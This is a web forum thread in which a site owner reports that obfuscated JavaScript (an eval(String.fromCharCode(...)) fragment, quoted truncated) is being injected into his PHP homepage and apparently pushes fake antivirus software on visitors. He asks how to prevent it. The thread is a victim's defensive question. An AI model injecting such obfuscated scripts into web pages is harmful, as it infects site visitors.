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Malicious Javascript code added to the bottom of my HTML


ArizonaJohn

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Hello,

 

Below is the code to my main page, called index.php.  It is what shows when I type my domain into the browser.  On a few occasions, when I open it in Internet Explorer, some malicious javascript code gets added to the bottom of the code below.  The malicious javascript code looks like: "<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,120,101,119,61,57,56,55,49,51,49,..."

 

It seems like this code then installs a fake anti-virus program on the computer of anyone who visits my site.  How can I prevent this malicious javascript from getting written into my source code.

 

Thanks,

 

John

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<?php
session_start();
unset($_SESSION['find']);	
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Title</title>

<link rel="stylesheet" type="text/css" href="tablestyles.css"> 

</head>

<body>

<div class="mainlinks"><a href="about.php" class="links">About</a><a href="testpage.php" class="links">New Testpage</a><a href="tablecreate.php" class="links">Table Create</a></div>

<div class="line"></div>


<div class="smalllogo"><a href="index.php"><img src="images/logo.png" alt="Tywod" width="170" height="45" border="0"/></a></div>
  
  
  <div class="searchbox">
  <form action="tsearch14.php" method="post">
  <label>Enter Topic:
  <input type="text" name="find" size="55"/>
  <input type="hidden" name="searching" value="yes" />
  <input type="submit" name="search" value="Search" />
  </label>
  </form>
  </div>

<div class="line2"></div>

<div class="copyright">©2009 Title</div>

</body>
</html>

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This seems to be more than just virus since it is actually adding code to my own site. 

 

And if my computer just had a virus, does this mean that any computer with a virus could add code to my source code?

 

I guess I'm asking how to make my own site trojan-proof.

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